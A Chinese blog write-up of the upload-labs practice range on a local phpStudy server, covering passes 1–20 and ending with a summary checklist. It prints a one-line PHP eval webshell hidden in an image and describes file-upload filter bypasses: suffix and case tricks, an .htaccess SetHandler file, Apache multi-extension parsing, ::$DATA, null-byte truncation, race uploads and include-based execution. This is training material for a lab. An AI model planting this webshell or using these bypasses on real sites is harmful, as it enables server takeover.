文件上传靶场过关

文件上传通关

靶场搭建环境:phpstudy_pro
在标注了的地方是:phpstudy2018

第一步制作图片马:

找到一个图片,然后用notepad++打开,然后在图片最后加上一句话木马即可;

木马代码:

<?php @eval($_REQUEST['cmd'])?>

pass-01

这里让我们上传一个图片马,直接burp抓包,进行修改filename,将后缀改为php

接着,forward,就会看见前台返回了图片,也就意味着上传ok

F12查看网络元素,会找到图片在服务器中的位置(上传到了哪里)

找到路径之后,就可以去访问了,../代表上一个目录,于是访问

http://127.0.0.1/upload-labs-master/upload/phpinfo.php

pass-02

重复上诉步骤,这次上传一句话木马

http://127.0.0.1/upload-labs-master/upload/yijuhua.php

连接成功

嗷,我们查看源码之后发现,原来pass-01是做的前台表单验证,检验的是filename的后缀(我们把它修改成了.php,所以混了过去),Pass-02检验的是文件的类型,我们本来上传的是.jpg或者是.png文件,所以文件类型就应该是image/jpeg或者是image/png或者是image/gif,所以上传的文件本来就是符合要求的文件,只需要将文件改为能够执行的.php就行(修改后缀)

pass-03

重复pass-01步骤发现不行了,于是考虑一下是不是php被删除了,所以我们第二次上传的时候,将.jpg文件后缀修改为.pphphp,这样中间的php就会被删除pphphp,结果又会组合成php后缀

诶?发现还是不行喃

接着考虑一下是不是大小写绕过,将后缀改为.phP,嗯还是不行

再考虑一下将后缀修改为.php5,上传成功了,但是还是不行

试试其它php能执行的后缀,哇,不得行了,遭不住,看了看源码,意思大概是需要使用php3,php4,php5绕过,但是使用phpstudy_pro始终都不能执行php4这些文件,需要找出一个能上传被执行的文件。又发现没有限制我们上传.htaccess文件

.htaccess文件,全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
上传一个.htaccess文件,在里面写入:

SetHandler application/x-httpd-php

上传htaccess之后,继续上传一句话木马(不用加文件后缀,直接上传即可),发现,也不行

总觉得用phpstudy_pro有点绕不过,

现在试试:phpstudy2018

phpstudy2018倒是可以,在浏览器中倒是能执行php3,php5的文件

上传htaccess之后再上传木马也行

pass-04

环境:phpstudy2018

解法一:

上传一个.htaccess文件,再上传一个没有后缀的一句话木马即可

解法二:

在phpstudy2018中的Apache有个漏洞,我们可以上传一个yijuhua.php.asdf文件,Apache是从右往左读取文件的。当Apache读取到asdf的时候,不认识该后缀,所以就跳过。于是就形成了yijuhua.php

当然只适用于phpstudy2018(用的Apache版本是2.4.23)

pass-05

采用pass-04的方法二

pass-06

环境:phpstudy2018

抓包将.php修改为==》.phP

pass-07

环境:phpstudy2018,phpstudy_pro

burp抓包,给上传文件首尾加空格

pass-08

环境:phpstudy2018,phpstudy_pro

在.php后面加上 .

pass-09

环境:phpstudy2018,phpstudy_pro

阅读源码发现,没有去掉::$DATA

于是设置burp抓包,然后在burp的filename后面加上 ::$DATA,就能上传成功

接着使用蚁剑连接,输入网址的时候,不能加上 ::$DATA

Pass-10

环境:phpstudy2018,phpstudy_pro

观察源码发现文件路径有问题,在文件路径中直接使用了文件名

第15行代码:$img_path = UPLOAD_PATH.'/'.$file_name;

在php文件后面加上. .(点+空格+点)进行绕过,前面虽然会处理 空格,但是多用一个 就行了

之前的图片路径构造是:

$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;

这是使用了时间函数,最终只是用了处理过的文件后缀

Pass-11

环境:phpstudy2018,phpstudy_pro

.php==>.phphpp

pass-12 pass-13

环境:phpstudy2018

上传一个.php文件,使用burp抓包,发现在get请求中有一个 $save_path

所以考虑到使用 %00进行截断处理,后来得知,需要将php版本调小到5.3.4之下才行

但是我还是绕不过,感觉很奇怪.同样,pass-13也无法截断

诶:PHP版本有要求,而且magic_quotes_gpc需要为OFF状态

请移步:链接:pass-12,pass-13

pass-14

emmm这个总觉得是有问题,这个反而有点像是利用本来就预留在服务器上的漏洞

思路:上传jpg,png格式文件,再放置一个include的PHP文件在服务器中,通过PHP文件中的include来加载上传的jpg,png,GIF文件

注意:GIF文件开头需要有一个GIF89a6;如果直接采用notepad++方式打开gif图片,进行图片马制作,就不用加(因为文件开头有)

pass-15

依旧是利用include来引入文件,方法和pass14一样

\ $info=getimagesize($imagefile);
getimagesize()函数:获取图片的文件类型

pass-16

exif_imagetype:获取文件类型

依旧是pass-14的方法

pass-17

gif:
先上船一个gif文件,在使用pass-14的方式打开,但是发现是乱码,而且少了很多东西。于是使用burp的compare模块,将上传之后的gif文件和原来的gif图片马作比较,然后在没有被修改的地方加入恶意代码

png和jpg传递:请移步先知社区:pass-16

pass-18

解法一:
解法二:发现如果文件类型在白名单中,那么就重命名,如果不在就删除。可以利用burp的intruder一直上传,一直刷新浏览器,在删除之前进去,这个就不太会了

pass-19

解法一:直接上传图片马,发现成功之后会修改路径,
解法二:发现依旧是存在竞争的,所以还是采用burp一直上传,有的来不及修改就会被上传

pass-20

直接保存为php是不行的,发现move_uploaded_file()函数中的img_path是由post参数save_name控制的,因此可以在save_name利用00截断绕过:

总结姿势

要执行的是.php文件,最终要保证传到服务器的是.php文件

过滤不严谨

  1. 前台表单验证——burp抓包修改文件后缀
  2. 文件类型——burp抓包修改文件类型image/gif image/png image/jpeg
  3. php不能通过——考虑上传php4.php5,.phtml等
  4. 上传.htaccess文件(文件中写入“SetHandler application/x-httpd-php”),接着上传一个不带后缀的文件就行
  5. 根据study2018中Apache从右往左读取文件,可以考虑将文件后缀改为:yijuhua.php.asdd(.asddApache不认识,会跳过)
  6. 如果没有过滤大小写,可以使用大小写过滤
  7. 首尾添加空格
  8. 末尾添加点
  9. 采用文件流(::$DATA),不会检查后缀
  10. 点空格点
  11. php被删除——修改后缀为phphpp

截断:filename构造

  1. get截断,如果源码中有save_path就可考虑设置截断

  2. post截断,16进制

  3. 利用服务器中的漏洞(例如include)

  4. 文件被修改,先试用burp找不同,然后根据文件类型,在没被修改的地方,添加设计好的代码

  5. 如果会有删除,或者重命名,就用brup一直传输

posted @ 2021-02-25 22:15  upstream_yu  阅读(195)  评论(0编辑  收藏  举报